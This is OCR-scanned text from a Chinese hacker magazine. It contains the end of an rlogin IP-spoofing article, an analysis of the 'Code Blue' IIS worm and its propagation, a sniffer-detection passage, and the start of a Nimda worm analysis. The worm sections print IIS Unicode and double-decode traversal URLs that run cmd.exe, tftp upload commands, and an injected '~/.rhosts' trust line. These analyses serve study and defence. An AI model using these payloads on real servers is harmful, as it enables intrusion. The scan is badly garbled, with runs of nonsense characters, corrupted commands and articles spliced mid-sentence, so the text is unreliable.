如 果 你 需要 更 多 的 资料 , 请 关注 我 的 站 点 http://

BigBall. xici. net, 我 发 布 了 一 个 用 这 种 方法 制作 的 全

功能 扫描 器 , 不 久 后 会 公布 源 代 码 的 , 也 欢迎 大 家 和

接 , 只 是 源 下 改 成 了 B, 注 意 是 针对 TCP513 端口

(rzlogin)。A 向 B 回 送 SYN +ACK 数 据 段 ,B 已 经 无 法

响应 ,B 的 TCP 层 只 是 简单 地 丢弃 A 的 回 送 数据 段 。

$.Z 暂停 一 小 会 儿 , 让 A 有 足够 时 间 发 送 SYN +

ACK ,因为 Z 看 不 到 这 个 包 。 然 后 Z 再 次 伪装 成 了 B 向

A 发 送 ACEK, 此 时 发 送 的 数据 段 带 有 2Z 预测 的 A 的

ISN + 1。 如 果 预 测 准确 ,连接 建立 ,数据 传送 开始 。 问

题 在 于 即使 连接 建立 ,A 仍然 会 向 B 发 送 数据 , 而 不

是 Z,Z 仍然 无 法 看 到 A 发 往 B 的 数据 段 ,Z 必须 蒙 着

头 按照 nogin 协议 标准 假冒 B 向 A 发 送 类 似 “A +

+ > > ~/.rhosts" 这 样 的 命令 ,于 是 攻击 完成 。 如 果

预测 不 准确 ,A 将 发 送 一 个 带 有 RST 标志 的 数据 段

异常 终止 连接 ,Z 只 有 从 头 再 来 。

ES

B <----SYN+ACKA

解决 方法 : 以 修改 与 ISN 相关 的 算法 , Linux 下 容

易 做 到 ,关闭 R 系列 服务 。 全

继 “ 红 色 人 代码” 蠕虫 肆虐 全 球 之

后 , 最 近 国 内 几 大 杀毒 软件 厂商 相继

公布 发 现 另 一 种 更 为 厉害 的 网 络 蠕虫

“ 蓝 色 代 码 ”。 为 了 对 这 种 新 蠕虫 进行

研究 , 本 人 对 国内 的 几 个 网 段 进行 了

扫描 , 费 尽 九 牛 二 虎 之 力 终 于 截获 了

这 种 蠕虫 的 二 进 制程 序 标本 , 通 过 一

段 时 间 的 分 析 , 基 本 掌握 了 该 蠕虫 的

感染 传播 以 及 发 作 机 理 。

一 \ 简 要 介绍

经 过 分 析 发 现 , 这 个 “ 蓝 色 代码 ”

婚 虫 是 利用 了 IIS 的 UNICODE 以 及 二

次 解码 漏洞 来 进行 传播 的 , 它 的 感染

方式 也 并 不 是 像 某 些 杀 毒 软件 厂商 所

声称 的 那样 是 通过 内 存 到 内 存 的 感染

方式 , 而 是 利用 文件 复制 的 方法 进行

感染 的 , 这 是 它 与 “红色 代码 ”的 最 大

不 同 之 处 。 也 正 是 因为 这 个 原因 ,“ 蓝

色 代 码 ” 的 传播 速度 远 远 不 如 它 的 大

哥 “ 红 色 代 码 " 快 。

该 蠕虫 的 主体 部 分 共 包 括 两 部

分 : svchost. exe 和 httpext. dl , 其 中 sv-

chost. exe 用 来 启动 扫描 线程 进行 传

播 , 而 httpext. dl 则 用 来 提升 权限 以 及

启动 httpext, dl。 整 个 蠕虫 感染 传播 的

流程 如 下 图 所 示 :

可 以 看 到 这 种 蠕虫 是 利用 认 p 协

编者 按 : 前 阵子 如 洪水 猛 善 般 感 染 了 上 百 万 台 计 算 机 , 造成 24 亿美 元 净

损失 的 病毒 “红色 代号 ” ,其 势头 刚刚 得 到 压制 , 另 一 个 名 为 “ 蓝 色 代码 ”的 蠕

旧病 毒 又 悄然 兴起 。 这 个 病毒 是 不 是 也 能 像 “红色 代码 ”那样 造成 巨大 玻 坏

呢 ? 本 期 《黑客 防线 》 专 题 便 针 对 这 个 问题 展开 分 析 。

通过 UNICODE 或 二 次 解码 漏洞

将 httpext. dl 复制 到 目标 主机

通过 IIS 运行 httpext. dl ,在 C: 盘

下 产生 svchost. exe ,并 运行

开启 dip 服务 器

进程 , 将 C:\sv-

chost. exe 读 入 内

在 C: 下 产生 d. vbs, 删除 映射 ,

杀 掉 inetinfo. exe 进程

开启 100 个 扫描 线程 进行 扫描

议 进 行 传播 的 , 由 于 tttp 协议 是 一 种 UDP 协议 , 它 的 稳定 性 不 太 好 ,

所 以 传播 失败 的 可 能 性 也 很 大 。 但 总 的 来 说 , 这 个 蠕 虫 还 是 有 一 定

发 展 空间 的 , 因 为 现在 国内 存在 UNICODE 和 二 次 解码 漏洞 的 机 器

非常 之 多 。

二 .详细 分 析

下 面 是 根据 “ 蓝 色 代 码 ”程序 标本 进行 反 汇 编 后 得 到 的 汇编 代

码 进 行 的 详细 分 析 结 果 :

1、tftp 服务 器 部 分

可 以 看 出 程序 一 开始 部 分 ,首先 调用 WSAStartup 来 初始 化 Winsock DLL, 然后 紧 接着 调用 _beginthread 来 开

局 一 个 sub .4011A1 线程 ,这 就 是 内 p 线程 部 分 ,下 面 我 们 来 看 看 这 个 线程 的 具体 内 容 :

这 个 线程 的 一 开始 调用 CreateFileA() 来 打开 C: \httpext. dl 文件 ,然后 将 其 内 容 读 人 内 存 :

读 人 内 存

则 把 已

这 样 的 请 求 包 ,

如 果 接 到

9

送 到 本 地 69 端口 的 UDP 包

来 接收 发

)

用 recvfrom(

后 蠕 虫

的 httpext

MY

发 送出 去 。

512 字 节 的 小 包 分 别

dl 的 内 容 分 割 成

文 样 就 实现 了 蜂 虫 的

就 可 以 把 httpext. dll 发 送 过 去 ,

就 开启 了 tftp 服务 器 , 当 有 服务 器 进行 thp 连接 时 训

这 样

传输 。 需 要 提 到 的 是 ,这 并 不 是 一 个 完整 的 tp 服务 器 ,而 仅仅 具备 了 利用 tp 协议 传输 httpext. dll 的 功能 。

|

“ 蓝 色 代码 ”蠕虫 除了 进行 自我 复制 以 外 还 会 在 被 感染 主机 上 进行

原子 、 通 过 d. vbs 文件 来 删除 映射 . 杀 掉 inetinfo. exe(IIS ) 进 程 等 。 下 面 是 对 这 部 分 代码 的 分 析

2、 删 除 映射

添加 CodeBlue

-一些

主 进程 首先 调用 GlobalAddAtomA 来 添加 一 个 名 为 “CodeBlue" 的 全 局 原子 ,估计 作者 的 意图 是 为 了 避免 重复

感染 ,而 “ 蓝 色 代码 "的 名 字 也 是 从 这 里 来 的

LMACHINE\ SOFTWAREA\ MIL-

in Manager 键 值 为 C

Y_LOCA

子 程序 的 作用 为 在 注册 表 的 HEE

随后 调用 一 个 子 程序 , 这 个

CROSOFT\WINDOWS\CURRENTVERSION RUN 目录 中 增加 一

\svchost. exe 的

个 名 为 Doma

\svchost. exe。

行 C

动 运

使 得 系统 每 次 重新 启动 时 可 以 自

TFT

便 寺

知 长

| 号

r 避

晶 <

所 圾

圳 基

直 交

< 赴

冯 已

遇 号

寺 |

坦 宪

五 长

, 直 期

归 长 5

于 并 站

区 名

三 姓

厅 由 峙

:全 让

下 二 ae

号 法 | 习

S 层 -区

二 二 和

旦 有 到 拭

做 趟 到 性

则 长 陋 邮 .

ES 近 长

口 皮 州 用

-最 执 昌 所

到 仇 鲜 有

氏 是 钼 名

匠 类 贰 一

歼 由 本

雹 |

路 下

可 以 看 到 它 首 匈 使 用 了 WebService 对 象 的 ScriptMaps 属性 来 删除 主机 IS 以 及 第 一 个 虚拟 主机 的 HS 的

.ida、. idq、. printer 映射 ,这 三 个 映射 均 存在 缓冲 区 溢出 漏洞 , 而 “红色 代码 ”以 及 “红色 代码 I 都 是 利用 了 .idq

溢出 进行 攻击 的 ,所 以 可 以 猜测 “ 蓝 色 代 码 ” 蠕 虫 删除 这 些 映射 的 目的 可 能 在 于 避免 主机 被 其 它 类 似 于 “红色 代

码 ” 的 蠕虫 攻击 。

在 删除 映射 之 后 ,蠕虫 代码 调用 了 CetVersionFxA () 来 得 到 操作 系统 的 类 型 , 如果 操作 系统 版 本 大 于 4 的 话 ,

就 转 而 去 停止 inetinfo. exe 进程 。

ER

3、 传 播 部 分

在 被 感染 主机 上 完成 一 系列 设置 动作 之 后 “ 蓝 色 代 码 ” 蠕 虫 就 开始 自己 的 最 主要 工作 一 一 自我 传播 。 蜂 虫

从 主线 程 中 启动 100 个 完全 相同 的 传播 线程 ,从 而 占用 了 大 量 系统 资源 。

在 进行 传播 之 前 ,蠕虫 首先 通过 gethostbyname() 来 获取 本 主机 的 瑟 地 址 ,代码 如 下 :

0

册 和 贡 涪 1 虽

在 得 到 本 主机 的 瑟 地 址 之 后 ,蠕虫 就 进入 了 正式 的 传播 线程 。 它 首先 通过 调用 GetSystemTime() 来 获得 当前 We

的 系统 时 间 ,如 果 时 间 满 足 某 个 条 件 则 进入 一 个 攻击 中 联 绿 盟 网 站 的 子 程序 。

我 们 可 以 看 到 ,在 这 里 蠕虫 作者 犯 了 一 个 极为 电 玖 的 错误 ,因为 系统 当前 的 小 时 数值 是 一 个 整数 , 它 肯 定 不

会 满足 既 大 于 10 而 又 小 于 11 的 条 件 。 所 以 从 理论 上 说 ,程序 是 永远 无 法 运行 到 攻击 绿 盟 的 子 程序 的 。 但 是 我 们

无 法 了 解 的 是 ,为 什么 作者 会 选择 攻击 绿 盟 的 网 站 呢 ? 中 联 绿 盟 做 为 国内 一 家 比较 知名 的 网 络 安全 公司 ,也 许 会

引起 其 他 一 些 商 家 的 嫉妒 ,从 而 导致 商业 竞争 而 引发 的 攻击 行为 ? 在 这 里 我 们 也 只 能 进行 这 样 的 猜测 了 。

娇 虫 接 下 来 就 产生 一 个 随机 下 地 址 ,如 果 该 下 的 前 2 位 大 于 0x7E(127), 则 把 该 了 P 地 址 的 前 4 位 换 为 本 主

机 下 地 址 的 前 4 位 , 这 样 就 等 于 有 50% 的 机 会 扫描 本 B 类 网 段 内 的 随机 瑟 地 址 , 而 另外 50% 的 可 能 性 就 会 去

扫描 完全 随机 的 地 址 。 这 样 做 显然 是 受到 了 "红色 代码 葡 " 的 启发 ,通过 扫描 本 B 类 网 段 来 提高 传播 的 效率 。

在 得 到 随机 下 之 后 , 蠕虫 就 开始 正式 攻击 , 它 首先 连 往 这 个 瑟 地 址 的 80 端口 , 发送 一 个 “HEAD / HTTP/

1. 0" 请 求 ,通过 判断 返回 的 字符 串 时 含有 “ITS? 串 来 判断 目标 主机 是 和 否 运行 了 JIS 服务 器 , 如果 不 是 的 话 ,蠕虫 就

无 法 对 其 感染 , 它 会 回 到 重新 产生 随机 卫 地 址 那 一 步 。

然后 蠕虫 就 从 几 个 目录 以 及 编码 字符 串 中 选 一 个 构造 攻击 串 , 其 中 目录 字符 溃 包 括 :

这 些 显然 是 UNICODE 以 及 二 次 编码 漏洞 的 解析 代码 ,蠕虫 通 过 构造 一 个 下 面 这 样 的 攻击 串 来 进行 攻击 :

GET /目录 名 /.. 编码 .. 编码 .. 编码 .. 编码 .. 编码 .. /winnt/system32/cemd. exe? /ce + dir

例如 ,如 果 蜂 虫 选择 攻击 scripts 目录 和 使 用 % 255e 编码 串 ,那么 它 就 会 构造 一 个 这 样 的 攻击 串 :

GET /scripts/. . 力 25$$c. . 狼 25$c. .9255c. . 力 25Sc. . % 255c. . /winnt/system32/cmd. exe? /c + dir

这 是 一 个 典型 的 通过 二 次 编码 漏洞 来 执行 dir 命令 的 攻击 ,蠕虫 对 目标 主机 发 送 这 个 串 ,如 果 目 标 主 机 存在

二 次 编码 漏洞 就 会 返回 “200 OK”, 这 样 蠕虫 就 继续 执行 其 他 的 感染 命令 , 而 如 果 目 标 没有 返回 “200 OK “就 说 明

目标 主机 没有 这 个 漏洞 ,蠕虫 就 继续 使 用 其 他 的 目录 和 编码 来 进行 攻击 ,直到 攻击 成 功 , 如 果 测 试 完 所 有 的 目录

和 编码 都 不 能 成 功 ,那么 蠕虫 就 放弃 这 个 正 地 址 ,再 回 到 重新 产生 下 地 址 的 那 一 步 。

如 果 发 现 目标 主 机 上 存在 UNICODE 或 者 二 次 编码 漏洞 , 蠕虫 就 会 利用 这 个 漏洞 在 目标 主机 上 执行 tip -ii

本 主机 卫 get httpext. dl 命令 ,把 C: \ 下 的 httpext. dll 文件 发 送 到 目标 主机 上 去 。 因 为 前 面 已 经 开 了 一 个 ttip 服务

器 线程 ,一旦 目标 主机 发 送 过 来 上 p 请 求 ,蠕虫 中 的 tttp 服务 器 线程 就 打开 本 地 C: \httpext, dl 文件 ,然后 分 解 成

小 包 发 送 过 去 。

然后 蠕虫 再 次 利用 UNICODE 或 者 二 次 编码 漏洞 执行 copy httpext. dl c:、\ 命 令 , 把 已 经 上 传 的 httpext. dl 文

件 复制 到 C: \ 下 面 ,以 便 下 次 在 被 感染 主机 上 再 向 其 他 机 器 发 送 这 个 文件 。

最 后 蠕虫 发 送 一 个 “GET /目录 /httpext. dl" 串 ,在 目标 主机 上 启动 蠕虫 如 果 启 动 成 功 ,httpext. dll 会 回 显 一

个 “CodeBlue” 字 符 串 ,通过 判断 这 个 字符 串 就 可 以 知道 是 否 在 目标 主机 上 成 功 地 传染 了 " 蓝 色 代 码 ”。

在 完成 对 一 个 目标 主机 的 攻击 后 , 电 虫 就 返回 到 产生 随机 卫 的 那 一 步 去 ,再 去 感染 其 他 的 主机 。

4、httpext. dl

蠕虫 为 什么 要 使 用 httpext. dll 来 启动 svchost. exe 呢 ? 这 是 微软 I8S 的 一 个 新 漏洞 ,HS 对 普通 ISAPI 程序 运行

| 洗 搬

七 各

全 二

这 了

虹 概

十 得

臣 局

贱 二 |

0

上 本 -” : 玉

答 本

辟 认

P

攻 让

本:

层 。 并

莹 民 所

习 短 出

细 践 疲

己 才 着

呈 赂 品

旦 凶 二

呈 餐 忆

中 省 往

息 屿

二 呈

全 看

httpext. dll 里 面包 信 了 svchost

IT

长 时 间 仍然 难

然后

exe ,

: \ 下 面 生成 svchost

它 首先 在 C

进 制 代码 ,

exe 的 二

O

“字符 串

httpext

行 。

户 端 发 送 “CodeBlue

以 以

误 权 限 检查 漏洞 来 使 得 蠕虫 可

对 ISAPFI 文件 名 的 错

dl 的 主要 作用 在 于 利用 JS

总 之 》 这

SYSTEM 身份 运

虽然 由 于 作者 的 失误 , 这 一 部 分 代码 永远 也 不 可 能 被 执行 , 但 是 这 里 我 们 仍然 来 分 析 一 下 电 虫 是 使 用 怎样

锁 葬 区

副 炒 几

昱 温习

证 犯 书

匡 他 共

相 疡 区

0 是 湛

端口 :

站 的 80

绿 盟 网

. 196. 135) 。 紧 接着 建立 socket ,并 连接 到

99

下 地 址 (211

站 的

绿 盟 网

首先 得 到

后 面 跟 一 个 伪

字符 串

送 0x4800 字 节 的 A,

紧 接着 发

1

3

3

“CET /main. php?

发 这 二 个

, 即

后 进行 攻击

成 浏览 器 的 字符 串 。

1

4

然后 攻击 线程 休眠 0x1388 毫秒 后 结束 线程 , 并 重新 开启 一 个 扫描 线程 。 可 以 看 出 , 蠕虫 企图 利用 向 绿 盟主

机 发 送 大 量 字符 串 的 方法 来 实现 D. o. $ 攻击 。 当 然 由 于 作者 的 失误 ,这 一 攻击 在 实际 过 程 中 是 不 可 能 完成 的 。

三 总结

根据 上 面 对 “ 蓝 色 代 码 ” 蠕虫 程序 的 详细 分 析 可 以 看 出 , 该 蠕虫 的 危害 性 相对 “红色 代码 ”来 说 还 是 比较 小

的 ,因为 毕竟 这 个 “ 蓝 色 代码 "的 传播 过 程 比较 复杂 ,难以 在 短 时 间 内 完成 传染 工作 , 据 我 测试 该 蜂 虫 传染 一 个 主

机 的 全 过 程 大 约 需要 50 秒 左 右 ,而 且 一 旦 在 传播 过 程 中 出 现 一 点 错误 ,例如 UDP 包 委 失 ,就 会 造成 传染 失败 。

所 以 据 我 推测 , 蓝 色 代码 ” 蜂 虫 会 在 部 分 网 段 内 流行 ,但 无 法 传染 大 范围 的 网 段 ,也 无 法 形成 “红色 代码 ” 那

样 的 大 规模 的 破坏 性 影响 ,所 以 大 家 尽 可 不 必 惊 慌 失 措 。

(上 接 第 271 页 )

(4) 现 在 用 ping 命令 ping 这 个 卫 地 址 。

(5) 没有 任何 人 能 够 看 到 发 送 的 数据 包 , 因 为 每

台 计 算 机 的 MAC 地 址 无 法 与 这 个 数据 包 中 的 目地

MAC 不 符 , 所 以 ,这 个 包 应 该 会 被 丢弃 。

(6) 如果 你 看 到 了 应 答 , 说明 这 个 MAC 包 没 有 被

丢弃 ,也 就 是 说 ,很 有 可 能 有 了 嗅 探 器 存在 。

现在 , 这 种 方法 已 经 得 到 了 广泛 的 推崇 和 宣扬 ,

新 一 代 的 黑客 们 也 学 会 了 在 他 们 的 代码 中 加 入 虚拟

的 MAC 地 址 过 滤器 , 很 多 的 计算 机 操作 系统 〈 比 如

Windows) 都 支持 MAC 过 滤器 , 很 多 过 虑 器 只 检查

MAC 的 第 一 个 字 节 ,这样 一 来 , MAC 地 址 FF -00-

00-00-00-00 和 王 - 亚 -下 -下 -FF-FF 就 没

有 区 别 了 。 广 播 地 址 消息 会 被 所 有 的 计算 机 所 接收 。

这 种 技术 通常 会 用 在 交换 模型 的 以 太 网 中 。 当 交 换 机

发 现 一 个 未 知 的 MAC 地 址 的 时 候 , 它 会 执行 类 似

ood 的 操作 ,把 这 个 包 发 送 给 每 个 节点 。

2. 本 机 嗅 探 程序 的 检测

本 机 嗅 探 的 程序 检测 方法 比较 简单 ,只 要 检查 一

下 网 卡 是 否 处 于 混杂 模式 就 可 以 了 , 在 Linux 下 , 这

个 比较 容易 实现 , 而 在 Windows 平台 上 , 并 没有 现成

的 函数 可 供 我 们 实现 这 个 功能 , 我 们 可 以 自己 编写 一

段 代码 :

程序 比较 简单 , 所 有 不 做 详细 说 明了 ,如 果 你 还

有 问题 ,请 访问 我 的 主页 http://bigbal. xici. net。 侍

编者 按 : 最 近 一 段 时 间 网 络 安全 界 冰 起 了 “上 贝 灾 ”, 继 “红色 代码 ”和 "“ 蓝 色 代码 ”之 后 ,又 出 现 了 一 种

传染 性 更 强 的 网 络 蠕 下 病毒 一 - 尼 姆 达 。 该 蠕虫 利用 双 indows 操作 系统 的 多 种 漏洞 进行 传播 ,其 传播 速

度 和 范围 远 远 超出 了 以 前 的 所 有 网 络 蠕 贝 。 在 该 病毒 出 现 不 到 一 周 时 间 内 ,全球 就 有 数 以 十 万 计 的 服务

器 和 个 人 电脑 被 感染 ,并 造成 巨大 破坏 。 本 期 专题 详细 分 析 该 蠕 夹 病毒 的 传播 途径 以 及 防止 方法 。

一 “ 尼 姆 达 ” 蚂 虫 概述

二 “ 尼 姆 达 ” 蠕 虫 所 利用 的 漏洞

三 “ 尼 姆 达 ” 的 传播 方式

四 “ 尼 姆 达 ?” 的 驻 留 方式

五 “ 尼 姆 达 " 留 下 的 系统 后 门

六 、 预 防 和 清除 “ 尼 姆 达 ?” 蠕 虫

文 /isno

代码 ”只 能 够 利用 TS 的 漏洞 来 感染 Windows 2000 和

“ 尼 姆 达 ” 蜂 虫 概 述 Windows NT 服务 器 , 而 “ 尼 姆 达 ” 则 利用 了 至 少 四 种

微软 产品 的 漏洞 来 进行 传播 ,而且 不 仅 感染 Windows

同 “红色 代码 "和 “ 蓝 色 代 码 "一 样 ,“ 尼 姆 达 "也 是 2000 和 Windows NT 服务 器 ,对 于 普通 用 户 历 使 用 的

通过 网 络 对 Windows 操作 系统 进行 感染 的 一 种 蜂 虫 Windows 95/98/Me 也 同样 进行 感染 。 这 使 得 这 种 蠕

型 病毒 。 但 是 它 与 以 前 所 有 的 网 络 蠕虫 的 最 大 不 同 之 虫 的 复制 和 传播 能 力 非常 之 强 。

处 在 于 “ 尼 姆 达 "通过 多 种 不 同 的 途径 进行 传播 ,而 , 下 而 是 站, 红 位 人 和 、 红 人 0

且 感 染 多 种 Windows 操作 系统 。“ 红 色 代码 "和 "* 蓝 色 。。 码 和 尼 姆 过 这 “种 晤 只 型 病 和 三 的 世 加

病毒 名 称 蓝 色 代码

传播 范围 Windows 2000 Windows 2000 Windows 20007ZNT Windows 93/98/Me

Windows 20007ZNT

Windows XP

信访 式 攻

和 用量

感染 方式 内 存 传播 内 存 传 播 文件 复制 文件 复制

破坏 性 占用 系统 资源 占用 系统 资源 , 留 下 系统 后 门 | 占用 系统 资源 占用 系统 资源 , 留 下 系统 后 门

攻击 白宫 网 站 攻击 中 联 绿 疝 让

KE | | | |

可 以 看 出 , 与 前 几 种 的 蠕虫 相 比 ,“ 尼 姆 达 " 最 大

的 特点 就 是 传播 方式 多 种 多 样 , 传 播 范围 极为 广泛 , “ 尼 姆 达 ” 时 虫 所 利用 的 漏洞

这 也 正 是 导致 该 病毒 不 仅 传播 速度 快 , 而 且 传 播 广度

很 大 , 从 而 增加 了 病毒 的 危害 性 以 及 消灭 该 病毒 的 难 “ 尼 姆 达 ” 的 传播 途径 很 多 , 其 中 总 共 利 用 了 4 种

度 。 微软 软件 的 漏洞 , 这 些 漏洞 都 是 最 近 一 段 时 间 网 络 安

SLEEPES

和光

全 界 发 现 的 微软 的 最 新 漏洞 ,为 了 便于 大 家 了 解 蜂 虫

是 如 何 使 用 这 些 漏洞 进行 传播 的 , 我 们 先 简单 介绍 一

这 几 种 漏洞 的 简要 情况 。

1L 微软 亚 异常 处 理 MIME 头 漏 油

这 是 微软 的 焉 浏览 器 中 存在 的 重大 安全 缺陷 。

简单 来 说 , 正 在 处 理 MIME 头 中 “Content - Type: ”处

指定 的 某 些 类 型 时 存在 问题 , 攻击 者 可 以 利用 这 类 缺

陷 在 正 客户 端 执 行 任意 命令 。 例 如 将 下 列 内容 存 为

“test. eml” 文件 。

如 果 在 资源 管理 器 中 双击 打开 这 个 文件 , 由 于 很

多 情况 下 ”eml” 扩展 名 和 微软 的 Outlook/Outlook Ex-

press 关联 ,将 调用 它们 解释 ”test. eml”。 由 于 这 封 邮件

是 HIML 格式 的 ,Outlook/Outlook Express 最 终 调 用

下 来 解释 它 。 正 根据 邮件 内 容 中 MIME 设置 ,解析 出

附件 。 一 般 情况 下 ,即使 有 附件 也 不 会 自动 下 载 。 如 果

做 了 某 些 设置 使 得 某 些 类 型 的 附件 会 自动 下 载 , 也 将

提示 有 附件 需要 下 载 , 用 户 选择 直接 打开 还 是 保存 。

但 是 正在 解释 上 述 邮 件 的 时 候 , 由 于 未 能 正确

处 理 “Content - Type: audio/x -wav;”, 导 致 附件

“hello. bat” 自动 下 载 , 而且 更 为 严重 的 是 下 载 结束 后

自动 打开 ”hello. bat”, 整 个 过 程 中 并 不 提示 用 户 。 上 述

例子 中 就 是 最 终 执行 了 “dir x . 大 "命令 。 如 果 从 WEB

页 面 上 访问 这 个 eml 文件 , 比 如 http: /wormhost/

test. eml , 同样 自动 下 载 并 无 提示 执行 “hello. bat”。

亚 在 解释 扩展 名 为 eml、nws 的 文件 时 ,都 存在 上

述 问 题 , 把 “test. eml” 更 名 为 “test. nws”, 前 述 现象 一

致 。 尚 未 发 现下 在 解释 其 他 扩展 名 的 文件 时 有 何 缺

陷 ,如 果 演 示 用 eml 文件 的 扩展 名 被 修改 成 非 eml 非

nws, 即 使 强行 指定 下 打开 该 文件 , 也 不 会 触发 漏

洞 。

个 户 洞 不 仅 可 以 导致 执行 任意 命令 , 而 且 还 可

0 EXE 文件 。 有 具体 方法 是 将 EXE 文件 进行

base64 编码 ,然后 附 在 邮件 eml 文件 后 面 , 这 样 当 用

户 浏览 邮件 时 就 会 自动 去 执行 该 EXE 文件 。

这 个 漏洞 是 “ 尼 姆 达 ” 里 虫 的 主要 传播 方法 ,,“ 尼

姆 达 ” 把 自身 代码 进行 base64 编码 之 后 加 和 到 可 引

起 自动 执行 漏洞 的 eml 文件 当中 , 保 存 为 名 为

readme. eml 的 文件 。 如 果 用 户 使 用 Outlook 或 Outlook

Express 来 接受 邮件 的 话 , 当 浏览 蠕虫 邮件 时 就 会 自

动 执 行 蠕 虫 文件 , 从 而 导致 系统 被 感染 。 如 果 使 用 其

他 的 邮件 接受 程序 , 例如 FoxMail, 则 当 打 开 附 件 中 的

readme. eml 文件 时 也 会 遭 到 感染 。

这 一 漏洞 不 仅 被 用 来 通过 电子 邮件 进行 传播 ,

“ 尼 姆 达 ” 还 把 感染 过 的 主机 中 的 网 页 文件 加 和 自动

执行 蠕虫 文件 的 javascript 程序 ,这 样 当 任何 人 使 用 亚

浏览 器 浏览 被 感染 主机 的 网 页 时 ,都 会 遭 到 这 个 漏洞

的 袭击 ,而 被 感染 上 病毒 。

所 有 下 5.0、 下 5$.01 以 及 下 $.5 版 本 的 浏览 器

都 受 此 漏洞 的 影响 。

2。Miicrosoft JIS Unicode 解码 漏 酒

微软 HS 4.0 和 JS 5.0 在 Unicode 字符 解码 的 实

现 中 存在 一 个 安全 漏洞 , 导 致 用 户 可 以 远程 通过 JIS

执行 任意 命令 。 当 ITS 打开 文件 时 ,如 果 该 文件 名 包含

unicode 字符 , 它 会 对 其 进行 解码 , 如 果 用 户 提供 一 些

特殊 的 编码 , 将 导致 HS 错误 地 打开 或 者 执行 某 些

web 根 目录 以 外 的 文件 。

例如 下 面 URL 请 求 将 导致 在 目标 主机 上 执行 dir

命令 :

http: /VAwww. victim. com/scripts/. .和 cl% lc. .7

Winnt/system32/cmd. exe? /c + dir

“ 尼 姆 达 ” 利 用 这 个 漏洞 来 上 传 并 执行 蠕虫 程

序 。

3,Miicrosoft HS 二 次 解码 漏洞

这 个 漏洞 与 Unicode 漏洞 类 侯 , HS 在 加 载 可 执行

CGI 程序 时 , 会 进行 两 次 解码 。 第 一 次 解码 是 对 CGI

文件 名 进行 http 解码 , 然后 判断 此 文件 名 是 否 为 可 执

行文 件 , 例如 检查 后 缀 名 是 否 为 ”. exe” 或 ”. com”

等 。 在 文件 名 检查 通过 之 后 ,HS 会 再 进行 第 二 次 解

码 。 正 常情 况 下 ,应 该 只 对 该 CGI 的 参数 进行 解码 , 然

而 ,HH8S 错误 地 将 已 经 解码 过 的 CGI 文件 名 和 CGI 人 参

数 一 起 进行 解码 。 这 样 ,CGI 文件 名 就 被 错误 地 解码

了 两 次 。

这 样 , 通过 精心 构造 CGI 文件 名 , 攻击 者 可 以 绕

过 IIS 对 文件 名 所 作 的 安全 检查 , 例 如 对 ”. ./ ”或 ”

./” 的 检查 , 这 将 导致 攻击 者 可 以 执行 任意 系统 命

令 。

例如 下 面 URL 请 求 将 导致 在 目标 主机 上 执行 dir

命令 :

http: / /www. victim, comVscripts/. .和 255c. .7/

., 225$c. . /. .和 259c. .7 Winnt/y system327

cmd. exe? /ce + dir ,

“ 尼 姆 达 ? 对 这 个 漏洞 的 利用 与 对 Unicode 漏洞 类

位, 同样 是 通过 它 来 上 传 并 执行 蠕虫 程序 。

4。Mticrosoft IES S$. 0 系统 文件 列表 权限 提升

漏 油

因为 利用 Unicode 和 二 次 解码 漏洞 获得 的 系统 权

限 比较 低 , 所 以 “ 尼 姆 达 ” 还 需要 通过 下 面 这 个 漏洞 来

提升 自己 的 运行 权限 。 这 是 Mierosoft HS 5. 0 中 存在

一 个 安全 漏洞 ,可 以 导致 攻击 者 提升 权限 。IHS 5. 0 有

一 个 文件 列表 ,所 有 在 这 个 列表 中 的 程序 (一 些 DLL

文件 ) 都 会 在 HS 进程 空间 中 运行 。 然 而 , 缺 省 这 个 列

表 中 只 包含 这 些 文件 的 文件 名 , 而 不 是 其 绝对 路 径

名 。 因 此 ,任何 可 执行 文件 ,如 果 其 文件 名 与 文件 名 列

表 中 的 文件 匹配 , 则 当 它 执行 时 就 会 在 本 进程 空间

中 运行 , 这 使 得 它 以 父 进程 的 权限 被 执行 , 通 常 是

SYSTEM 权限 。

“ 尼 姆 达 ? 通 过 结合 Unicode 以 及 二 次 解码 漏 润 在

目标 主机 的 可 执行 虚拟 目录 下 上 传 一 个 可 执行 文件

Admin. dl, 并 远程 通过 web 接口 执行 它 。 因 为 Ad-

min. dl 这 个 文件 名 正好 在 HS 的 文件 名 列表 中 , 所 以

这 个 蠕虫 就 能 够 以 系统 最 高 权限 来 运行 了 。

值得 一 提 的 是 ,“ 尼 姆 达 ” 病 毒 的 名 字 来 源 于 病毒

代码 中 的 一 个 英文 字符 串 ”Nimqda”, 国人 便 将 其 译 成

了 “ 尼 姆 达 ”。 而 仔细 观察 就 可 发 现 ,Nimda 正 是 Admin

的 反 序 拼写 , 而 “ 尼 姆 达 ” 病毒 正 是 利用 了 Admin. dl

文件 作为 一 种 传播 途径 的 , 可 以 猜测 ,Nimda 这 个 名

字 就 是 来 源 于 Admin。

“ 尼 姆 达 ” 的 传播 方式

如 前 所 述 ,“ 尼 姆 达 " 病 毒 的 最 大 特点 就 是 它 的 传

播 方式 非常 多 , 这 也 是 它 传播 范围 广泛 的 重要 原因 。

“ 尼 姆 达 ” 除了 通过 典型 的 卫 - mail 传播 和 HS 漏洞 传

播 之 外 , 还 利用 了 与 “欢乐 时 光 ” 病 毒 类 似 的 网 页 传

播 , 以 及 其 独创 的 对 . exe 文件 的 感染 以 及 对 双 ord 文

档 的 传播 方式 。 下 面 我 们 就 来 看 看 其 每 种 传播 方式 的

具体 情况 。

1. 通过 电子 邮件 传播

根据 一 段 时 间 的 跟踪 分 析 , 我 发 现 大 部 分 中 了

“ 尼 姆 达 ” 病 毒 的 主机 都 是 通过 电子 邮件 被 感染 的 。 尤

其 是 对 于 安装 Windows 95/98/Me 的 普通 用 户 来 说 ,

这 种 利用 卫 - mail 进行 传播 的 方法 可 以 说 是 最 简便

也 是 最 有 效 的 途径 。

从 这 种 传播 方法 来 看 “ 尼 姆 达 " 可 以 算是 一 种 邮

件 病 毒 , 它 也 具备 所 有 邮件 病毒 的 特征 。 从 早期 的 “ 爱

虫 ”, 到 后 来 的 Sircam, 所 有 的 邮件 病毒 都 是 通过 将 病

1 洒

毒 代 码 附 于 邮件 附件 当中 诱 使 用 户 执行 来 达到 感染

的 。 但 是 “ 尼 姆 达 ” 显 然 更 加 技 高 一 筹 , 它 利用 下 浏览

器 异常 处 理 MIME 头 漏洞 来 传播 , 这 样 用 户 无 须 执 行

邮件 附件 ,只 要 浏览 邮件 内 容 就 会 遭 到 感染 。

“ 尼 姆 达 ” 蜂 虫 通过 邮件 进行 传播 的 具体 方法 为 :

